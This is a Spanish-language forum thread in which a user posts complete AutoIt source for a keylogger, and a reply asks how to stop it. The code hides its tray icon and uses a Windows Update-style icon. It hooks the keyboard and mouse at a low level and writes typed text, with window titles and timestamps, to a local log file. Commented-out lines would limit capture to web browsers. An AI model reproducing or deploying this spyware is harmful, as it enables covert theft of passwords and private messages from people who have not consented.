Keylogger - by Yasmany 7/10 :D

y programas personales para otros como tu, puede que te corrijan ;)

Keylogger - by Yasmany 7/10 :D

Notapor yasmany » 15 Dic 2016, 00:12

Un buen dia,tarde,noche, dejo por aqui algo que recien he terminado, espero pueda de ser utilidad para alguien y lo pueda modificar como mas guste.
SI ES NECESARIO BORRAR EL POST, haganlo nomás, no hay resentimiento :smt002 comprendo.

CARACTERISTICAS
- Cada cierto tiempo comprueba el tiempo transcurrido de la pulsacion de la ultima tecla con el fin de imprimir palabras completas. (espero hacerme entender)
- Por cada cambio de ventana imprime lo escrito con el titulo de la ventana en la que se escribió. (No importa si hizo clic o utilizo CTRL+TAB)
- Registra solo un espacio, asi haya pulsado varias veces, el sw hace comprobaciones simples y no registra en exceso solo esas pulsaciones de espacio.
- Borrado simple, osea que si el usuario está tecleando y presiona BORRAR, va eliminando los ultimos caracteres conforme las pulsaciones de eraser.
- Registra en un archivo "RegistroKeylogger.txt"
Entre otras...

DESVENTAJAS
- No captura letras con tildes
- No captura combinaciones de teclas
- Muchas desventajas mas, posibles por encontrar.

PD.: Si alguien pudiese mejorarle, enhorabuena :smt023 :smt024
EDIT: CORREGIDO ALGUNAS COSILLAS

Código: Seleccionar todo
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=iconos\winUpdate.ico
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

#include <WinAPISys.au3>
#include <WinAPIvkeysConstants.au3>
#include <StructureConstants.au3>
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <WinAPIDiag.au3>
#include <Process.au3>
#include <WinAPIShPath.au3>
#include <APISysConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WinAPIGdi.au3>
#include <WinAPIMisc.au3>

_Singleton('KeyLogger')

Global Const $sFilePath = @ScriptDir & '\RegistroKeylogger.txt'

;-------------------------------------------------------------------------------------------------------
Global $tRID = DllStructCreate($tagRAWINPUTDEVICE)
DllStructSetData($tRID, 'UsagePage', 0x01) ; Generic Desktop Controls
DllStructSetData($tRID, 'Usage', 0x02) ; Mouse
DllStructSetData($tRID, 'Flags', $RIDEV_INPUTSINK)
DllStructSetData($tRID, 'hTarget', GUICreate('Test ', 1, 1))

_WinAPI_RegisterRawInputDevices($tRID) ; Register HID input to obtain row input from mice
GUIRegisterMsg($WM_INPUT, 'WM_INPUT')
;-------------------------------------------------------------------------------------------------------

Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
Global $UserDLL = DllOpen("user32.dll")
Global $almacen, $finalizar
Global $time
Global $nombreVentanaReferenciaIngresoTexto
Global $auxAlmacen, $nombreVentana

AdlibRegister("cerrarAsunto", 30000)

Ejecutar()

Func Ejecutar()
   OnAutoItExitRegister("Cleanup")
   Local $hMod
   $g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
   $hMod = _WinAPI_GetModuleHandle(0)
   $g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)

   While 1

      If $finalizar = "cerrar" Then
         almacenar("")
      Else
         nombreVentanaActiva()
         If ($nombreVentanaReferenciaIngresoTexto <> "") And ($nombreVentana <> $nombreVentanaReferenciaIngresoTexto) Then
            If StringLen($almacen) > 0 Then
               cerrarAsunto()
            EndIf
         EndIf
      EndIf
      Sleep(10)
   WEnd
EndFunc   ;==>Ejecutar

Func _KeyProc($nCode, $wParam, $lParam)
   Local $tKEYHOOKS

   $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
   If $nCode < 0 Then
      Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
   EndIf
   Local $vk = DllStructGetData($tKEYHOOKS, "vkCode")
   Local $aOnOff[2] = ['OFF', 'ON']

   If $wParam = $WM_KEYDOWN Then
   Else
      Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")

      If _IsPressed("12", $UserDLL) And _IsPressed("51", $UserDLL) Then
         almacenar("@")
      ElseIf _IsPressed("A0", $UserDLL) And _IsPressed('BC', $UserDLL) Then
         almacenar(";")
      ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BD", $UserDLL) Then
         almacenar("_")
         Sleep(100)
      ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BE", $UserDLL) Then
         almacenar(":")
         Sleep(100)
      ElseIf _IsPressed('12', $UserDLL) Then
         If _IsPressed('66', $UserDLL) Then
            If _IsPressed('64', $UserDLL) Then
               almacenar('@')
            EndIf
         EndIf
      Else
         If $vk >= 0x41 And $vk <= 0x5A Then ;alfabeto
            If $aOnOff[BitAND(_WinAPI_GetKeyState(0x14), 1)] = 'OFF' Then
               almacenar(StringLower(Chr($vk)))
            Else
               almacenar(StringUpper(Chr($vk)))
            EndIf
         ElseIf $vk = 0x20 Then ;espacio
            almacenar(' ')
         ElseIf $vk = 0x0D Then ;ENTER
            almacenar(" -- ") ;(@CRLF)
         ElseIf $vk >= 0x30 And $vk <= 0x39 Then ;numerosTeclado
            almacenar(Chr($vk))
         ElseIf $vk >= 0x60 And $vk <= 0x69 Then ; numero NumPad
            almacenar(StringTrimLeft(Hex($vk), 15))
         ElseIf $vk = 0x09 Then ;TAB
            almacenar(" ") ;(@TAB)
         ElseIf $vk >= 0x6A And $vk <= 0x6E Then
            If $vk = 0x6A Then almacenar('*')
            If $vk = 0x6B Then almacenar('+')
            If $vk = 0x6C Then almacenar('SEPARATOR KEY')
            If $vk = 0x6D Then almacenar('-')
            If $vk = 0x6E Then almacenar('.')

         ElseIf $vk >= 0xBA And $vk <= 0xBF Then
            If $vk = 0xBA Then almacenar(':')
            If $vk = 0xBB Then almacenar('+')
            If $vk = 0xBC Then almacenar(',')
            If $vk = 0xBD Then almacenar('-')
            If $vk = 0xBE Then almacenar('.')
            If $vk = 0xBF Then almacenar('/')

         ElseIf $vk = '192' Then
            If $aOnOff[BitAND(_WinAPI_GetKeyState(0x14), 1)] = 'OFF' Then
               almacenar(StringLower('ñ'))
            Else
               almacenar(StringUpper('ñ'))
            EndIf
         ElseIf $vk = 164 Then
;~             almacenar('@')
         Else
            If $vk = 188 Then almacenar(',')
            If $vk = 190 Then almacenar('.')
            If $vk = 189 Then almacenar('-')
            If $vk = 222 Then almacenar('{')
            If $vk = 191 Then almacenar('}')
            If $vk = 186 Then almacenar('´')
            If $vk = 220 Then almacenar('|')
            If $vk = 219 Then almacenar("'") ; comilla simple
            If $vk = 221 Then almacenar('¿') ;
            If $vk = 106 Then almacenar('*')
            If $vk = 109 Then almacenar('-')
            If $vk = 8 Then ; almacenar(' ') ;espacio
               $almacen = StringTrimRight($almacen, 1)
            EndIf
            If $vk = 13 Then almacenar(" -- ") ;ENTER
         EndIf
      EndIf
   EndIf
EndFunc   ;==>_KeyProc
;
Func nombreVentanaActiva()
   Local $aList = WinList()

   For $i = 1 To $aList[0][0]
      If $aList[$i][0] <> "" And BitAND(WinGetState($aList[$i][1]), 2) Then
         If WinActive($aList[$i][0]) Then
            $nombreVentana = $aList[$i][0]
         EndIf
      EndIf
   Next
   Return $nombreVentana
EndFunc   ;==>nombreVentanaActiva

Func almacenar($aux)
   Local $hFileOpen
   $nombreVentanaReferenciaIngresoTexto = $nombreVentana

   If StringRight($almacen, 1) = " " And $aux = " " Then
      ; al quitar toda esta condicional, registra todos los espacios que se pulsen, para que registre todos
      ; los espacios debe quedar solo $almacen &= $aux
   Else
      $almacen &= $aux
   EndIf

   $time = Number(@HOUR & @MIN & @SEC)

   If $finalizar = "cerrar" Then
      If StringLen($almacen) > 0 And $almacen <> " " Then

         ConsoleWrite($almacen)

         $hFileOpen = FileOpen(@ScriptDir & '\RegistroKeylogger.txt', $FO_APPEND)
         If $hFileOpen = -1 Then
            Return False
         Else
            If Not FileWrite($hFileOpen, $almacen) Then
               Return False
            Else
               $almacen = ''
               If $finalizar = 'cerrar' Then $finalizar = ''
            EndIf
         EndIf
         FileClose($hFileOpen)
      EndIf
   EndIf
EndFunc   ;==>almacenar

Func Cleanup()
   _WinAPI_UnhookWindowsHookEx($g_hHook)
   DllCallbackFree($g_hStub_KeyProc)
EndFunc   ;==>Cleanup

Func WM_INPUT($hWnd, $iMsg, $wParam, $lParam) ;REGISTRAR CLICK IZQUIERDO
   #forceref $iMsg, $wParam
   Local $tRIM = DllStructCreate($tagRAWINPUTMOUSE)
   If _WinAPI_GetRawInputData($lParam, $tRIM, DllStructGetSize($tRIM), $RID_INPUT) Then
      Local $iFlags = DllStructGetData($tRIM, 'Flags')
      $iFlags = DllStructGetData($tRIM, 'ButtonFlags')
      If BitAND($iFlags, $RI_MOUSE_LEFT_BUTTON_DOWN) Then

         If StringRight($almacen, 7) <> " -clk- " And StringLen($almacen) > 0 And Not StringIsSpace($almacen) Then

            $almacen &= " -clk- "

         EndIf
      EndIf
   EndIf
   Return $GUI_RUNDEFMSG
EndFunc   ;==>WM_INPUT

Func cerrarAsunto() ;@HOUR& @MIN &@SEC& @CRLF ;
   
;NOTA: Si habilitan lo que está en
;comentarios, SOLO te registrará lo
;que se haya escrito en algun navegador

   If (Number(@HOUR & @MIN & @SEC) - $time) > 5 Or ($nombreVentanaReferenciaIngresoTexto <> "" And $nombreVentana <> $nombreVentanaReferenciaIngresoTexto) Then
      If StringLen($almacen) > 0 Then

         If Not StringIsSpace($almacen) And $almacen <> " -- " Then

            If $auxAlmacen <> '' And StringInStr($auxAlmacen, $nombreVentanaReferenciaIngresoTexto) Then

;~                If StringInStr($auxAlmacen, "chrome") Or StringInStr($auxAlmacen, "Firefox") _
;~                      Or StringInStr($auxAlmacen, "Opera") Or StringInStr($auxAlmacen, "Safari") _
;~                      Or StringInStr($auxAlmacen, "Internet Explorer") Or StringInStr($auxAlmacen, "Microsoft Edge") Then

                  $almacen = @CRLF & @HOUR & ":" & @MIN & "." & @SEC & @TAB & $almacen
                  $finalizar = "cerrar"
;~                Else
;~                   $almacen = ""
;~                EndIf

            Else

;~                If StringInStr($nombreVentanaReferenciaIngresoTexto, "chrome") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Firefox") _
;~                      Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Opera") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Safari") _
;~                      Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Internet Explorer") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Microsoft Edge") Then

                  $almacen = @CRLF & @CRLF & "VENTANA.: - " & $nombreVentanaReferenciaIngresoTexto & @CRLF & @HOUR & ":" & @MIN & "." & @SEC & @TAB & $almacen
                  $auxAlmacen = $almacen
                  $finalizar = "cerrar"
;~                Else
;~                   $auxAlmacen = ""
;~                   $almacen = ""
;~                EndIf
            EndIf
         EndIf
      EndIf
   EndIf
EndFunc   ;==>cerrarAsunto


Saludos.
Obra de modo que merezcas a tu propio juicio y a juicio de los demás la eternidad, que te hagas insustituible que no merezcas morir.
https://www.facebook.com/yasmanycurimilma
Avatar de Usuario
yasmany
Hacker del Foro
 
Mensajes: 247
Registrado: 06 Sep 2011, 21:30

Re: Keylogger - by Yasmany 7/10 :D

Notapor mikirago » 17 Ene 2017, 13:34

Buenos días,

Lo que no veo claro es como parar el programa.

Un saludo y gracias por tu aportación
mikirago
 
Mensajes: 6
Registrado: 11 Ago 2016, 09:05


Volver a esScripts - Programas - Abre tus creaciones maravillosas

¿Quién está conectado?

Usuarios navegando por este Foro: Bing [Bot], MSNbot Media y 0 invitados

cron